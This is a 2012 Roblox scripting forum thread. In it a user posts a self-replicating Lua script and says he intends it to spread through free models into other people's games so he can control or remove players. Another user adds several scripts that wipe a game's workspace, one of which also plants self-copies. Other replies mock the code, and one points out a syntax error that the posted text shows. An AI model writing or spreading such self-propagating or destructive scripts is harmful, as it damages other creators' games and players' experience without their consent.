hondaCRV
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| Joined: 18 Jun 2010 |
| Total Posts: 127 |
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| 17 Aug 2012 05:44 PM |
function infect(target) local subtargets=target:GetChildren() for x=1,#subtargets do wait() if #subtargets>0 then local infecttarget=subtargets[x] if infecttarget:FindFirstChild("Inf_Scr") == nil and infecttarget.Name ~= "Inf_Scr" then script:Clone().Parent=infecttarget end infect(infecttarget) end end end function while true do wait(1) infect(game.Workspace) wait(20) end
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Tarabukka
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| Joined: 18 Jan 2011 |
| Total Posts: 394 |
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| 17 Aug 2012 05:46 PM |
The cure:
Don't use it.
Duh. |
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hondaCRV
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| Joined: 18 Jun 2010 |
| Total Posts: 127 |
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| 17 Aug 2012 05:48 PM |
It will duplicate itself in all models you make, roblox will be infected, ill be able to type "script: game.Players.Noob.Parent=nil" if someone is annoying, so i'll be a got in all games infected.
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hondaCRV
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| Joined: 18 Jun 2010 |
| Total Posts: 127 |
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Tarabukka
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| Joined: 18 Jan 2011 |
| Total Posts: 394 |
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| 17 Aug 2012 05:53 PM |
| Dutch moderator deleting my post up there obviously |
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swmaniac
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| Joined: 28 Jun 2008 |
| Total Posts: 15773 |
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| 17 Aug 2012 05:58 PM |
| Actually there's at least one syntax error so it wouldn't run to begin with. |
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lucas668
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| Joined: 18 Jun 2008 |
| Total Posts: 6183 |
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| 17 Aug 2012 06:34 PM |
| All it does is clone itself... Nothing malicious except for lag... Learn2virus plz |
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belial52
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| Joined: 10 Oct 2009 |
| Total Posts: 8074 |
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| 17 Aug 2012 07:25 PM |
table.foreach(game.Workspace:GetChildren(), function(a, b) b:Destroy() end)
That's an even better virus, and I typed it out in like 2 seconds. |
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| 17 Aug 2012 07:32 PM |
| not a virus, it only affects the local game. |
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belial52
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| Joined: 10 Oct 2009 |
| Total Posts: 8074 |
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| 17 Aug 2012 08:08 PM |
his 'virus' would spread through free models, if it weren't for the supposed virus deleting thingy. Yours would delete everything in the local workspace. (except it would error on terrain) Here b good deleter: for _,c in next, workspace:children() do if c.ClassName=="Terrain" then c:ClearAllChildren() else c:Destroy() end end
maybe c: |
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belial52
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| Joined: 10 Oct 2009 |
| Total Posts: 8074 |
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| 17 Aug 2012 08:35 PM |
@Monkey, Here's one even better.
if (game.NetworkClient) then table.foreach(game.Workspace:GetChildren(), function(a, b) if (b.className ~= "Terrain") then b:Destroy() end end) else table.foreach(game.Workspace:GetChildren(), function(a, b) c = Instance.new("Geometry", b) script:Clone().Parent = c end) end
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TheMyrco
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| Joined: 13 Aug 2011 |
| Total Posts: 15105 |
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| 17 Aug 2012 08:52 PM |
| I'm not doomed, because I have a Russian name. |
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hondaCRV
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| Joined: 18 Jun 2010 |
| Total Posts: 127 |
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| 18 Aug 2012 12:44 PM |
1. There's no error, i tested it, it works 2. It will infect all the objects in a game (you get an infected model, all other models get infected, you put another model in free models, someone gets it, same thing happens) 3. It will do something, actually im working on that right now. |
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Shobobo99
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| Joined: 30 Dec 2008 |
| Total Posts: 5754 |
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| 18 Aug 2012 12:56 PM |
| Scripts don't run in Studio edit :P |
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| 18 Aug 2012 03:13 PM |
Why are you trying to stop the advance of society and instead try and attempt to be a 'god' in games through the use of pitiful yet useless scripts?
☜▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬☜☆☞▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬☞ - Candymaniac, a highly reactive substance. |
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| 18 Aug 2012 03:23 PM |
Siggy Test
☜▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬☜☆☞▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬☞ - MrChickens, another bird which doesn't fly. |
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owen0202
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| Joined: 27 Feb 2008 |
| Total Posts: 6912 |
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| 18 Aug 2012 05:15 PM |
| everybody run we're doomed!1 |
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gunjy
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| Joined: 29 Jun 2010 |
| Total Posts: 3713 |
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| 18 Aug 2012 08:39 PM |
| Are you going to lag us all to death? |
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